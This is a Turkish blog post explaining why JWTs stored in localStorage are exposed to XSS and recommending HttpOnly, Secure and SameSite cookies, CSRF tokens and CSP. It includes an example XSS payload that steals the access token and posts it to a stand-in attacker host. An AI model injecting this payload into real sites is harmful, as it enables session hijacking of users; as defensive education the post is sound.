{"id":41768,"date":"2026-05-14T21:08:34","date_gmt":"2026-05-14T18:08:34","guid":{"rendered":"https:\/\/fatihsoysal.com\/blog\/jwtleri-localstorageda-saklamak-neden-guvenli-degildir-web-gelistiricileri-icin-kapsamli-bir-rehber\/"},"modified":"2026-05-14T21:08:34","modified_gmt":"2026-05-14T18:08:34","slug":"jwtleri-localstorageda-saklamak-neden-guvenli-degildir-web-gelistiricileri-icin-kapsamli-bir-rehber","status":"publish","type":"post","link":"https:\/\/fatihsoysal.com\/blog\/jwtleri-localstorageda-saklamak-neden-guvenli-degildir-web-gelistiricileri-icin-kapsamli-bir-rehber\/","title":{"rendered":"JWT’leri localStorage’da Saklamak Neden G\u00fcvenli De\u011fildir? Web Geli\u015ftiricileri \u0130\u00e7in Kapsaml\u0131 Bir Rehber"},"content":{"rendered":"

JWT’leri localStorage’da Saklamak Neden G\u00fcvenli De\u011fildir? Web Geli\u015ftiricileri \u0130\u00e7in Kapsaml\u0131 Bir Rehber<\/h2>\n

G\u00fcn\u00fcm\u00fcz web uygulamalar\u0131nda kullan\u0131c\u0131 kimlik do\u011frulamas\u0131 (authentication) ve yetkilendirme (authorization) s\u00fcre\u00e7leri, g\u00fcvenlik a\u00e7\u0131s\u0131ndan kritik \u00f6neme sahiptir. JWT’ler (JSON Web Token), bu s\u00fcre\u00e7leri verimli ve \u00f6l\u00e7eklenebilir bir \u015fekilde y\u00f6netmek i\u00e7in pop\u00fcler bir tercih haline gelmi\u015ftir. Ancak, bu token’lar\u0131n nerede saklanaca\u011f\u0131 konusu, \u00e7o\u011fu geli\u015ftiricinin g\u00f6zden ka\u00e7\u0131rd\u0131\u011f\u0131 veya yanl\u0131\u015f anlad\u0131\u011f\u0131 temel bir g\u00fcvenlik riskini bar\u0131nd\u0131r\u0131r. Web uygulamalar\u0131n\u0131z\u0131n kullan\u0131c\u0131 verilerini korumak ve potansiyel sald\u0131r\u0131lara kar\u015f\u0131 savunmas\u0131z kalmamak i\u00e7in, JWT’leri localStorage<\/code>‘da saklama al\u0131\u015fkanl\u0131\u011f\u0131n\u0131z\u0131 bir an \u00f6nce g\u00f6zden ge\u00e7irmeniz gerekmektedir. Bu rehberde, JWT’lerin ne oldu\u011funu, neden localStorage<\/code>‘\u0131n onlar i\u00e7in uygun bir yer olmad\u0131\u011f\u0131n\u0131 ve web uygulamalar\u0131n\u0131z\u0131 g\u00fcvende tutmak i\u00e7in hangi alternatif y\u00f6ntemleri kullanman\u0131z gerekti\u011fini ad\u0131m ad\u0131m inceleyece\u011fiz.<\/p>\n

JWT Nedir ve Web Kimlik Do\u011frulamada Nas\u0131l Kullan\u0131l\u0131r?<\/h2>\n

JSON Web Token (JWT), web uygulamalar\u0131 aras\u0131nda g\u00fcvenli bir \u015fekilde bilgi al\u0131\u015fveri\u015fi yapmak i\u00e7in kullan\u0131lan kompakt, URL g\u00fcvenli bir token format\u0131d\u0131r. Genellikle kullan\u0131c\u0131 kimlik do\u011frulamas\u0131ndan sonra istemciye (taray\u0131c\u0131ya) g\u00f6nderilir ve kullan\u0131c\u0131n\u0131n yetkili istekler yapmas\u0131n\u0131 sa\u011flamak i\u00e7in sonraki t\u00fcm API \u00e7a\u011fr\u0131lar\u0131nda kullan\u0131l\u0131r. Bir JWT, temelde \u00fc\u00e7 b\u00f6l\u00fcmden olu\u015fur: Ba\u015fl\u0131k (Header), Y\u00fck (Payload) ve \u0130mza (Signature).<\/p>\n

    \n
  • Ba\u015fl\u0131k (Header):<\/strong> Token t\u00fcr\u00fcn\u00fc (JWT) ve kullan\u0131lan \u015fifreleme algoritmas\u0131n\u0131 (\u00f6rne\u011fin, HS256 veya RS256) belirtir. Genellikle Base64Url ile kodlanm\u0131\u015f bir JSON nesnesidir.<\/li>\n
  • Y\u00fck (Payload):<\/strong> Token’\u0131n i\u00e7erdi\u011fi iddialar\u0131 (claims) bar\u0131nd\u0131r\u0131r. Bu iddialar, kullan\u0131c\u0131 kimli\u011fi (sub<\/code>), token’\u0131n son kullanma tarihi (exp<\/code>), verildi\u011fi zaman (iat<\/code>) gibi standart bilgiler veya uygulamaya \u00f6zel veriler olabilir. Bu b\u00f6l\u00fcm de Base64Url ile kodlanm\u0131\u015f bir JSON nesnesidir.<\/li>\n
  • \u0130mza (Signature):<\/strong> Ba\u015fl\u0131k ve y\u00fck\u00fcn Base64Url kodlanm\u0131\u015f hallerinin, sunucuda saklanan gizli bir anahtar (secret key) kullan\u0131larak \u015fifrelenmesiyle olu\u015fturulur. Bu imza, token’\u0131n b\u00fct\u00fcnl\u00fc\u011f\u00fcn\u00fc ve kimli\u011fini do\u011frulamak i\u00e7in kullan\u0131l\u0131r; yani, token’\u0131n g\u00f6nderildi\u011fi andan itibaren de\u011fi\u015ftirilmedi\u011fini garanti eder.<\/li>\n<\/ul>\n

    Bu \u00fc\u00e7 b\u00f6l\u00fcm, noktalarla birle\u015ftirilerek xxxxx.yyyyy.zzzzz<\/code> \u015feklinde bir JWT dizesi olu\u015fturur. Bir kullan\u0131c\u0131 sisteme giri\u015f yapt\u0131\u011f\u0131nda, sunucu kullan\u0131c\u0131 bilgilerini do\u011frulad\u0131ktan sonra bir JWT olu\u015fturur ve bu token’\u0131 istemciye g\u00f6nderir. \u0130stemci, sonraki her API iste\u011finde bu JWT’yi genellikle Authorization<\/code> ba\u015fl\u0131\u011f\u0131nda Bearer<\/code> \u015femas\u0131yla birlikte sunucuya g\u00f6nderir. Sunucu, gelen JWT’nin imzas\u0131n\u0131 kendi gizli anahtar\u0131yla do\u011frulayarak token’\u0131n ge\u00e7erlili\u011fini ve i\u00e7eri\u011finin de\u011fi\u015ftirilmedi\u011fini kontrol eder. Bu yap\u0131, sunucunun her istekte kullan\u0131c\u0131 oturum bilgilerini veritaban\u0131ndan kontrol etme ihtiyac\u0131n\u0131 ortadan kald\u0131rarak performans\u0131 art\u0131r\u0131r ve yatay \u00f6l\u00e7eklenebilirli\u011fi kolayla\u015ft\u0131r\u0131r.<\/p>\n

    JWT’lerin stateless (durumsuz) yap\u0131s\u0131, \u00f6zellikle mikroservis mimarilerinde ve da\u011f\u0131t\u0131k sistemlerde b\u00fcy\u00fck avantajlar sunar. Sunucunun her iste\u011fi ayr\u0131 ayr\u0131 i\u015flemesi ve oturum bilgilerini kendi i\u00e7inde tutmamas\u0131, y\u00fck dengeleme ve genel sistem mimarisini basitle\u015ftirir. Ancak bu avantajlar, token’\u0131n g\u00fcvenli bir \u015fekilde saklanmas\u0131 ko\u015fuluyla ge\u00e7erlidir. Aksi takdirde, bu token’lar k\u00f6t\u00fc niyetli ki\u015filerin eline ge\u00e7ti\u011finde ciddi g\u00fcvenlik a\u00e7\u0131klar\u0131 yaratabilir.<\/p>\n

    localStorage’\u0131n Cazibesi ve XSS Tehlikesi: JWT H\u0131rs\u0131zl\u0131\u011f\u0131 Nas\u0131l Ger\u00e7ekle\u015fir?<\/h2>\n

    Web geli\u015ftiricileri aras\u0131nda JWT’leri localStorage<\/code>‘da saklamak, basitli\u011fi ve kullan\u0131m kolayl\u0131\u011f\u0131 nedeniyle yayg\u0131n bir uygulamad\u0131r. localStorage<\/code>, taray\u0131c\u0131da anahtar-de\u011fer \u00e7iftleri halinde veri depolaman\u0131n kolay bir yolunu sunar. JavaScript \u00fczerinden do\u011frudan eri\u015filebilir olmas\u0131, token’\u0131 al\u0131p istek ba\u015fl\u0131klar\u0131na eklemeyi son derece pratik hale getirir. \u00d6rne\u011fin, bir kullan\u0131c\u0131 giri\u015f yapt\u0131ktan sonra sunucudan gelen JWT’yi basit\u00e7e \u015fu \u015fekilde saklayabilirsiniz:<\/p>\n

    \n
    localStorage.setItem('accessToken', jwtToken);<\/code><\/pre>\n<\/div>\n
    Daha sonra, bu token’\u0131 API isteklerinde kullanmak da ayn\u0131 derecede kolayd\u0131r:<\/p>\n
    \n
    const token = localStorage.getItem('accessToken');\nfetch('\/api\/profil', {\n    headers: {\n        'Authorization': Bearer ${token}<\/code>\n    }\n});<\/code><\/pre>\n<\/div>\n
    Bu kolayl\u0131k, maalesef b\u00fcy\u00fck bir g\u00fcvenlik riskini de beraberinde getirir: XSS (Cross-Site Scripting – Siteler Aras\u0131 Betik \u00c7al\u0131\u015ft\u0131rma) sald\u0131r\u0131lar\u0131. XSS, sald\u0131rganlar\u0131n web uygulamas\u0131na k\u00f6t\u00fc ama\u00e7l\u0131 istemci taraf\u0131 betik (script) enjekte etmesine olanak tan\u0131yan bir t\u00fcr g\u00fcvenlik a\u00e7\u0131\u011f\u0131d\u0131r. Bu betikler, kullan\u0131c\u0131n\u0131n taray\u0131c\u0131s\u0131nda, uygulaman\u0131n me\u015fru bir par\u00e7as\u0131ym\u0131\u015f gibi \u00e7al\u0131\u015f\u0131r. E\u011fer uygulaman\u0131zda bir XSS g\u00fcvenlik a\u00e7\u0131\u011f\u0131 varsa, sald\u0131rganlar bu a\u00e7\u0131\u011f\u0131 kullanarak taray\u0131c\u0131n\u0131zda kendi JavaScript kodlar\u0131n\u0131 \u00e7al\u0131\u015ft\u0131rabilirler. Ve tahmin edin ne olur? Bu k\u00f6t\u00fc ama\u00e7l\u0131 betikler, localStorage<\/code>‘a tam eri\u015fime sahiptir!<\/p>\n
    Bir XSS sald\u0131r\u0131s\u0131 ba\u015far\u0131l\u0131 oldu\u011funda, sald\u0131rgan\u0131n enjekte etti\u011fi JavaScript kodu, kullan\u0131c\u0131n\u0131n localStorage<\/code>‘\u0131nda saklanan JWT’yi kolayca okuyabilir ve bu token’\u0131 kendi kontrol\u00fcndeki bir sunucuya g\u00f6nderebilir. Token ele ge\u00e7irildi\u011finde, sald\u0131rgan bu token’\u0131 kullanarak me\u015fru kullan\u0131c\u0131 gibi oturum a\u00e7abilir ve kullan\u0131c\u0131n\u0131n yetkili oldu\u011fu t\u00fcm i\u015flemleri ger\u00e7ekle\u015ftirebilir. Bu durum, kullan\u0131c\u0131n\u0131n hesap bilgilerinin \u00e7al\u0131nmas\u0131ndan, finansal i\u015flemlerin yap\u0131lmas\u0131na, hatta di\u011fer kullan\u0131c\u0131lara y\u00f6nelik sald\u0131r\u0131lar\u0131n ba\u015flat\u0131lmas\u0131na kadar geni\u015f bir yelpazede ciddi sonu\u00e7lara yol a\u00e7abilir. \u00d6rne\u011fin, bir forum uygulamas\u0131nda, kullan\u0131c\u0131lar\u0131n yorumlar\u0131nda HTML etiketlerine izin verilmesi ve yeterli sanitizasyon (temizleme) yap\u0131lmamas\u0131, bir sald\u0131rgan\u0131n a\u015fa\u011f\u0131daki gibi bir payload (y\u00fck) enjekte etmesine neden olabilir:<\/p>\n
    \n
    <script>\n  const stolenToken = localStorage.getItem('accessToken');\n  fetch('https:\/\/saldirgan.com\/log', {\n    method: 'POST',\n    body: JSON.stringify({ token: stolenToken }),\n    headers: { 'Content-Type': 'application\/json' }\n  });\n<\/script><\/code><\/pre>\n<\/div>\n
    Bu senaryoda, sald\u0131rgan\u0131n kodu, localStorage<\/code>‘dan accessToken<\/code>‘\u0131 \u00e7alar ve kendi sunucusuna g\u00f6nderir. Kullan\u0131c\u0131, k\u00f6t\u00fc ama\u00e7l\u0131 yorumu i\u00e7eren sayfay\u0131 ziyaret etti\u011finde, token’\u0131 otomatik olarak sald\u0131rgan\u0131n eline ge\u00e7er. Bu, modern web uygulamalar\u0131 i\u00e7in kabul edilemez bir risktir ve localStorage<\/code>‘\u0131n JWT saklama i\u00e7in neden uygun olmad\u0131\u011f\u0131n\u0131 a\u00e7\u0131k\u00e7a ortaya koyar. G\u00fcvenlik, kolayl\u0131ktan \u00f6nce gelmelidir ve bu t\u00fcr bir risk, alternatif \u00e7\u00f6z\u00fcmlerin ara\u015ft\u0131r\u0131lmas\u0131n\u0131 zorunlu k\u0131lar.<\/p>\n
    G\u00fcvenli Alternatifler: JWT’leri Nerede Saklamal\u0131y\u0131z?<\/h2>\n
    localStorage<\/code>‘\u0131n XSS sald\u0131r\u0131lar\u0131na kar\u015f\u0131 savunmas\u0131zl\u0131\u011f\u0131 g\u00f6z \u00f6n\u00fcne al\u0131nd\u0131\u011f\u0131nda, JWT’leri saklamak i\u00e7in daha g\u00fcvenli alternatiflere y\u00f6nelmek ka\u00e7\u0131n\u0131lmazd\u0131r. En yayg\u0131n ve \u00f6nerilen y\u00f6ntem, JWT’leri HttpOnly<\/code> ve Secure<\/code> i\u015faretleriyle birlikte \u00e7erezlerde (cookies)<\/strong> saklamakt\u0131r. Bu yakla\u015f\u0131m, taray\u0131c\u0131 tabanl\u0131 sald\u0131r\u0131lara kar\u015f\u0131 \u00f6nemli \u00f6l\u00e7\u00fcde daha y\u00fcksek bir koruma sa\u011flar.<\/p>\n
    \u00c7erezler, HTTP protokol\u00fcn\u00fcn bir par\u00e7as\u0131d\u0131r ve sunucu taraf\u0131ndan ayarlan\u0131r. \u00d6zellikle HttpOnly<\/code> i\u015faretiyle ayarland\u0131\u011f\u0131nda, bu \u00e7erezlere JavaScript kodu \u00fczerinden eri\u015filemez. Bu, bir XSS sald\u0131r\u0131s\u0131 ba\u015far\u0131l\u0131 olsa bile, sald\u0131rgan\u0131n enjekte etti\u011fi k\u00f6t\u00fc ama\u00e7l\u0131 beti\u011fin \u00e7erezdeki JWT’yi okuyamayaca\u011f\u0131 anlam\u0131na gelir. Dolay\u0131s\u0131yla, localStorage<\/code>‘da kar\u015f\u0131la\u015f\u0131lan temel g\u00fcvenlik a\u00e7\u0131\u011f\u0131 bu y\u00f6ntemle b\u00fcy\u00fck \u00f6l\u00e7\u00fcde kapat\u0131lm\u0131\u015f olur.<\/p>\n
    HttpOnly<\/code>‘nin yan\u0131 s\u0131ra, \u00e7erezlerin g\u00fcvenli\u011fini art\u0131rmak i\u00e7in ba\u015fka \u00f6nemli i\u015faretler de vard\u0131r:<\/p>\n
      \n
    • Secure<\/code>:<\/strong> Bu i\u015faretle ayarlanm\u0131\u015f \u00e7erezler, yaln\u0131zca HTTPS ba\u011flant\u0131lar\u0131 \u00fczerinden g\u00f6nderilir. Bu, token’\u0131n a\u011f \u00fczerinde \u015fifrelenmemi\u015f (plain text) olarak yakalanmas\u0131n\u0131 (man-in-the-middle sald\u0131r\u0131lar\u0131) engeller. T\u00fcm modern web uygulamalar\u0131 HTTPS kullanmal\u0131 ve bu i\u015fareti her zaman etkinle\u015ftirmelidir.<\/li>\n
    • SameSite<\/code>:<\/strong> Bu i\u015faret, \u00e7erezlerin siteler aras\u0131 isteklerde nas\u0131l g\u00f6nderilece\u011fini kontrol eder ve \u00f6zellikle CSRF (Cross-Site Request Forgery – Siteler Aras\u0131 \u0130stek Sahtekarl\u0131\u011f\u0131) sald\u0131r\u0131lar\u0131na kar\u015f\u0131 koruma sa\u011flar. \u00dc\u00e7 ana de\u011feri vard\u0131r:\n
        \n
      • Strict<\/code>: \u00c7erezler yaln\u0131zca ayn\u0131 siteye yap\u0131lan isteklerde g\u00f6nderilir. En g\u00fcvenli se\u00e7enektir ancak baz\u0131 durumlarda kullan\u0131c\u0131 deneyimini etkileyebilir (\u00f6rne\u011fin, bir e-posta bildirimindeki ba\u011flant\u0131ya t\u0131kland\u0131\u011f\u0131nda).<\/li>\n
      • Lax<\/code>: \u00c7erezler yaln\u0131zca ayn\u0131 siteye yap\u0131lan isteklerde ve baz\u0131 \u00fcst d\u00fczey navigasyon isteklerinde (\u00f6rne\u011fin, bir ba\u011flant\u0131ya t\u0131klama) g\u00f6nderilir. \u00c7o\u011fu durum i\u00e7in iyi bir denge sunar.<\/li>\n
      • None<\/code>: \u00c7erezler t\u00fcm siteler aras\u0131 isteklerde g\u00f6nderilir. Bu de\u011feri kullan\u0131rken Secure<\/code> i\u015fareti zorunludur ve CSRF token’lar\u0131 gibi ek koruma mekanizmalar\u0131na ihtiya\u00e7 duyulur.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n
        Genellikle, bir kimlik do\u011frulama sistemi i\u00e7in iki token stratejisi \u00f6nerilir: k\u0131sa \u00f6m\u00fcrl\u00fc bir Eri\u015fim Token’\u0131 (Access Token)<\/strong> ve daha uzun \u00f6m\u00fcrl\u00fc bir Yenileme Token’\u0131 (Refresh Token)<\/strong>. Eri\u015fim token’\u0131, kullan\u0131c\u0131ya belirli bir s\u00fcre (\u00f6rne\u011fin 15 dakika) boyunca kaynaklara eri\u015fim yetkisi verir ve API isteklerinde kullan\u0131l\u0131r. Bu token, HttpOnly<\/code> ve Secure<\/code> i\u015faretleriyle birlikte bir \u00e7erezde saklanabilir. Yenileme token’\u0131 ise, eri\u015fim token’\u0131 s\u00fcresi doldu\u011funda yeni bir eri\u015fim token’\u0131 almak i\u00e7in kullan\u0131l\u0131r. Bu token, genellikle daha uzun bir s\u00fcre (\u00f6rne\u011fin birka\u00e7 g\u00fcn veya hafta) ge\u00e7erlidir ve yine HttpOnly<\/code>, Secure<\/code> ve SameSite=Lax<\/code> i\u015faretleriyle birlikte bir \u00e7erezde saklanmal\u0131d\u0131r.<\/p>\n
        Bu iki token stratejisi, sald\u0131rgan bir eri\u015fim token’\u0131n\u0131 ele ge\u00e7irse bile, token’\u0131n k\u0131sa \u00f6mr\u00fc nedeniyle zarar potansiyelini s\u0131n\u0131rlar. Ayr\u0131ca, yenileme token’\u0131 yaln\u0131zca yeni bir eri\u015fim token’\u0131 almak i\u00e7in kullan\u0131ld\u0131\u011f\u0131ndan ve do\u011frudan kaynaklara eri\u015fim sa\u011flamad\u0131\u011f\u0131ndan, \u00e7al\u0131nmas\u0131 durumunda bile do\u011frudan veri eri\u015fimi sa\u011flamaz. G\u00fcvenlik, katmanl\u0131 bir yakla\u015f\u0131mla sa\u011flan\u0131r ve HttpOnly<\/code> \u00e7erezler bu katmanlar\u0131n temelini olu\u015fturur. Di\u011fer bir alternatif olan sessionStorage<\/code>, taray\u0131c\u0131 sekmesi kapat\u0131ld\u0131\u011f\u0131nda veriyi siler ve XSS’e kar\u015f\u0131 localStorage<\/code> ile benzer riskler ta\u015f\u0131r, bu y\u00fczden o da genellikle \u00f6nerilmez. Bellek i\u00e7i (in-memory) depolama ise her sayfa yenilemesinde kullan\u0131c\u0131n\u0131n tekrar giri\u015f yapmas\u0131n\u0131 gerektirece\u011fi i\u00e7in kullan\u0131c\u0131 deneyimini olumsuz etkiler ve sadece \u00e7ok k\u0131sa \u00f6m\u00fcrl\u00fc, hassas olmayan veriler i\u00e7in d\u00fc\u015f\u00fcn\u00fclebilir.<\/p>\n
        HttpOnly \u00c7erezlerle G\u00fcvenli Kimlik Do\u011frulama Ad\u0131mlar\u0131<\/h2>\n
        JWT’leri HttpOnly<\/code> \u00e7erezlerde g\u00fcvenli bir \u015fekilde saklamak, hem backend hem de frontend taraf\u0131nda belirli ad\u0131mlar\u0131n uygulanmas\u0131n\u0131 gerektirir. Bu yakla\u015f\u0131m, token’lar\u0131n JavaScript taraf\u0131ndan do\u011frudan eri\u015fimini engelleyerek XSS sald\u0131r\u0131lar\u0131na kar\u015f\u0131 \u00f6nemli bir savunma katman\u0131 olu\u015fturur.<\/p>\n
        Backend Taraf\u0131: \u00c7erezleri Ayarlama<\/h3>\n
        Kimlik do\u011frulama ba\u015far\u0131l\u0131 oldu\u011funda, sunucu hem eri\u015fim token’\u0131n\u0131 hem de yenileme token’\u0131n\u0131 olu\u015fturmal\u0131 ve bunlar\u0131 HTTP yan\u0131t ba\u015fl\u0131klar\u0131nda (Set-Cookie<\/code>) istemciye g\u00f6ndermelidir. \u0130\u015fte Node.js ve Express.js kullanarak bir \u00f6rnek:<\/p>\n
        \n
        const express = require('express');\nconst jwt = require('jsonwebtoken');\nconst cookieParser = require('cookie-parser');\n\nconst app = express();\napp.use(express.json());\napp.use(cookieParser());\n\nconst JWT_SECRET = 'cokGizliBirAnahtar'; \/\/ Ger\u00e7ek uygulamada .env dosyas\u0131ndan al\u0131nmal\u0131!\nconst REFRESH_SECRET = 'dahaDaGizliBirAnahtar'; \/\/ Ger\u00e7ek uygulamada .env dosyas\u0131ndan al\u0131nmal\u0131!\n\napp.post('\/api\/login', (req, res) => {\n    const { username, password } = req.body;\n\n    \/\/ Kullan\u0131c\u0131 do\u011frulama (\u00f6rne\u011fin veritaban\u0131ndan)\n    if (username === 'test' && password === 'password') {\n        const accessToken = jwt.sign({ username }, JWT_SECRET, { expiresIn: '15m' });\n        const refreshToken = jwt.sign({ username }, REFRESH_SECRET, { expiresIn: '7d' });\n\n        \/\/ Eri\u015fim token'\u0131n\u0131 HttpOnly \u00e7erezde ayarla\n        res.cookie('accessToken', accessToken, {\n            httpOnly: true,\n            secure: process.env.NODE_ENV === 'production', \/\/ Sadece HTTPS'de\n            sameSite: 'Lax', \/\/ CSRF korumas\u0131 i\u00e7in\n            maxAge: 15 * 60 * 1000 \/\/ 15 dakika\n        });\n\n        \/\/ Yenileme token'\u0131n\u0131 HttpOnly \u00e7erezde ayarla\n        res.cookie('refreshToken', refreshToken, {\n            httpOnly: true,\n            secure: process.env.NODE_ENV === 'production',\n            sameSite: 'Lax',\n            maxAge: 7 * 24 * 60 * 60 * 1000 \/\/ 7 g\u00fcn\n        });\n\n        res.status(200).json({ message: 'Giri\u015f ba\u015far\u0131l\u0131!' });\n    } else {\n        res.status(401).json({ message: 'Ge\u00e7ersiz kimlik bilgileri.' });\n    }\n});\n\napp.listen(3000, () => console.log('Sunucu 3000 portunda \u00e7al\u0131\u015f\u0131yor.'));<\/code><\/pre>\n<\/div>\n
        Yukar\u0131daki \u00f6rnekte, accessToken<\/code> ve refreshToken<\/code> ad\u0131nda iki \u00e7erez ayarlan\u0131r. Her ikisi de httpOnly: true<\/code> olarak i\u015faretlenmi\u015ftir, bu da JavaScript’in bu \u00e7erezlere eri\u015fmesini engeller. secure: true<\/code>, \u00e7erezlerin yaln\u0131zca HTTPS \u00fczerinden g\u00f6nderilmesini sa\u011flar. sameSite: 'Lax'<\/code> ise CSRF sald\u0131r\u0131lar\u0131na kar\u015f\u0131 bir miktar koruma sa\u011flar.<\/p>\n
        Frontend Taraf\u0131: \u00c7erezlerin Kullan\u0131m\u0131<\/h3>\n
        Frontend taraf\u0131nda, HttpOnly<\/code> \u00e7erezleri kullanmak i\u00e7in \u00f6zel bir JavaScript koduna ihtiya\u00e7 duymazs\u0131n\u0131z. Taray\u0131c\u0131, sunucudan gelen Set-Cookie<\/code> ba\u015fl\u0131klar\u0131n\u0131 otomatik olarak i\u015fler ve \u00e7erezleri her sonraki iste\u011fe otomatik olarak ekler. Bu, developer’lar i\u00e7in b\u00fcy\u00fck bir kolayl\u0131k ve g\u00fcvenlik avantaj\u0131d\u0131r. \u00d6rne\u011fin, bir API \u00e7a\u011fr\u0131s\u0131 yaparken:<\/p>\n
        \n
        fetch('\/api\/profil', {\n    method: 'GET',\n    \/\/ Taray\u0131c\u0131, 'accessToken' \u00e7erezini otomatik olarak ekleyecektir.\n    \/\/ credentials: 'include' ayar\u0131 ile \u00e7erezlerin g\u00f6nderildi\u011finden emin olun.\n    credentials: 'include'\n})\n.then(response => response.json())\n.then(data => console.log('Profil verileri:', data))\n.catch(error => console.error('Hata:', error));<\/code><\/pre>\n<\/div>\n
        Burada \u00f6nemli olan, fetch<\/code> API’si veya Axios gibi HTTP istemcileri kullan\u0131rken credentials: 'include'<\/code> se\u00e7ene\u011fini belirtmektir. Bu, taray\u0131c\u0131n\u0131n istekle birlikte \u00e7erezleri g\u00f6ndermesini sa\u011flar. Aksi takdirde, \u00e7erezler varsay\u0131lan olarak siteler aras\u0131 isteklerde g\u00f6nderilmeyebilir. Sunucu, gelen isteklerdeki \u00e7erezleri otomatik olarak ayr\u0131\u015ft\u0131rabilir ve JWT’yi do\u011frulayarak kullan\u0131c\u0131n\u0131n yetkilendirmesini kontrol edebilir.<\/p>\n
        Eri\u015fim token’\u0131n\u0131n s\u00fcresi doldu\u011funda, API \u00e7a\u011fr\u0131lar\u0131 401 Unauthorized hatas\u0131 d\u00f6necektir. Bu durumda, frontend, sunucuya yeni bir eri\u015fim token’\u0131 almak i\u00e7in bir yenileme iste\u011fi g\u00f6ndermelidir. Bu istek, refreshToken<\/code> \u00e7erezini otomatik olarak i\u00e7erecektir. Sunucu, yenileme token’\u0131n\u0131 do\u011frulay\u0131p yeni bir eri\u015fim token’\u0131 olu\u015fturarak yan\u0131t\u0131nda yeni bir accessToken<\/code> \u00e7erezi ayarlayabilir. Bu d\u00f6ng\u00fc, kullan\u0131c\u0131n\u0131n oturumunun g\u00fcvenli bir \u015fekilde devam etmesini sa\u011flar.<\/p>\n
        Ek G\u00fcvenlik Katmanlar\u0131: XSS ve CSRF’ye Kar\u015f\u0131 Savunma<\/h2>\n
        HttpOnly<\/code> \u00e7erezler, JWT’leri XSS sald\u0131r\u0131lar\u0131na kar\u015f\u0131 korumak i\u00e7in g\u00fc\u00e7l\u00fc bir temel sa\u011flasa da, web uygulamas\u0131 g\u00fcvenli\u011fi \u00e7ok katmanl\u0131 bir yakla\u015f\u0131m gerektirir. Yaln\u0131zca token saklama y\u00f6ntemini de\u011fi\u015ftirmek yeterli de\u011fildir; uygulaman\u0131z\u0131 di\u011fer yayg\u0131n sald\u0131r\u0131 t\u00fcrlerine kar\u015f\u0131 da g\u00fc\u00e7lendirmeniz gerekir. \u0130\u015fte ek g\u00fcvenlik katmanlar\u0131:<\/p>\n
        1. CSRF (Cross-Site Request Forgery) Korumas\u0131<\/h3>\n
        SameSite<\/code> \u00e7erez i\u015fareti, CSRF sald\u0131r\u0131lar\u0131na kar\u015f\u0131 iyi bir ilk savunma hatt\u0131 olsa da, tam koruma sa\u011flamaz. \u00d6zellikle SameSite=Lax<\/code> veya None<\/code> kullan\u0131ld\u0131\u011f\u0131nda, sald\u0131rganlar kullan\u0131c\u0131 ad\u0131na istekler g\u00f6ndermeye \u00e7al\u0131\u015fabilir. Bu nedenle, CSRF token’lar\u0131 kullanmak kritik \u00f6neme sahiptir. CSRF token’lar\u0131, sunucu taraf\u0131ndan her oturum i\u00e7in benzersiz olarak olu\u015fturulan ve istemciye g\u00f6nderilen gizli, tek kullan\u0131ml\u0131k bir de\u011ferdir. \u0130stemci, hassas i\u015flemler (parola de\u011fi\u015ftirme, para transferi vb.) yaparken bu token’\u0131 istek ba\u015fl\u0131\u011f\u0131nda veya form verisinde sunucuya geri g\u00f6nderir. Sunucu, gelen token’\u0131 kendi olu\u015fturdu\u011fu token ile kar\u015f\u0131la\u015ft\u0131r\u0131r. E\u015fle\u015fmezse, iste\u011fi reddeder. Bu, sald\u0131rgan\u0131n sahte bir istek olu\u015fturmas\u0131n\u0131 engeller \u00e7\u00fcnk\u00fc sald\u0131rgan, ge\u00e7erli CSRF token’\u0131n\u0131 bilemez.<\/p>\n
        2. \u0130\u00e7erik G\u00fcvenli\u011fi Politikas\u0131 (Content Security Policy – CSP)<\/h3>\n
        CSP, XSS sald\u0131r\u0131lar\u0131n\u0131n etkisini \u00f6nemli \u00f6l\u00e7\u00fcde azaltmaya yard\u0131mc\u0131 olan g\u00fc\u00e7l\u00fc bir g\u00fcvenlik mekanizmas\u0131d\u0131r. Bir HTTP ba\u015fl\u0131\u011f\u0131 olarak uygulanan CSP, taray\u0131c\u0131ya hangi kaynaklardan (betikler, stil sayfalar\u0131, g\u00f6rseller vb.) i\u00e7erik y\u00fckleyebilece\u011fini s\u00f6yler. \u00d6rne\u011fin, yaln\u0131zca kendi alan ad\u0131n\u0131zdan betik y\u00fcklemeye izin veren bir CSP kural\u0131, sald\u0131rgan\u0131n d\u0131\u015f bir kaynaktan k\u00f6t\u00fc ama\u00e7l\u0131 betik enjekte etmesini engeller. Bu, XSS sald\u0131r\u0131s\u0131n\u0131n \u00e7al\u0131\u015fmas\u0131n\u0131 zorla\u015ft\u0131r\u0131r, \u00e7\u00fcnk\u00fc sald\u0131rgan\u0131n kodu taray\u0131c\u0131 taraf\u0131ndan g\u00fcvenilmeyen bir kaynak olarak alg\u0131lan\u0131p engellenecektir.<\/p>\n
        3. Giri\u015f Do\u011frulama ve \u00c7\u0131kt\u0131 Temizleme (Input Validation and Output Sanitization)<\/h3>\n
        Bu, XSS sald\u0131r\u0131lar\u0131n\u0131 \u00f6nlemenin en temel ve en \u00f6nemli yollar\u0131ndan biridir. Kullan\u0131c\u0131lardan gelen t\u00fcm giri\u015fler (form alanlar\u0131, URL parametreleri vb.) sunucu taraf\u0131nda mutlaka do\u011frulanmal\u0131 (validate) ve temizlenmelidir (sanitize). Ge\u00e7erli veriler d\u0131\u015f\u0131nda hi\u00e7bir \u015feye izin verilmemelidir. \u00d6rne\u011fin, bir metin alan\u0131na HTML etiketleri veya JavaScript kodlar\u0131 girildi\u011finde, bu giri\u015fler kaydedilmeden veya g\u00f6r\u00fcnt\u00fclenmeden \u00f6nce uygun \u015fekilde ka\u00e7\u0131\u015f karakterlerine d\u00f6n\u00fc\u015ft\u00fcr\u00fclmeli veya tamamen kald\u0131r\u0131lmal\u0131d\u0131r. Bu, sald\u0131rgan\u0131n k\u00f6t\u00fc ama\u00e7l\u0131 betikleri uygulaman\u0131za enjekte etmesini engeller.<\/p>\n
        4. D\u00fczenli G\u00fcvenlik Denetimleri ve Penetrasyon Testleri<\/h3>\n
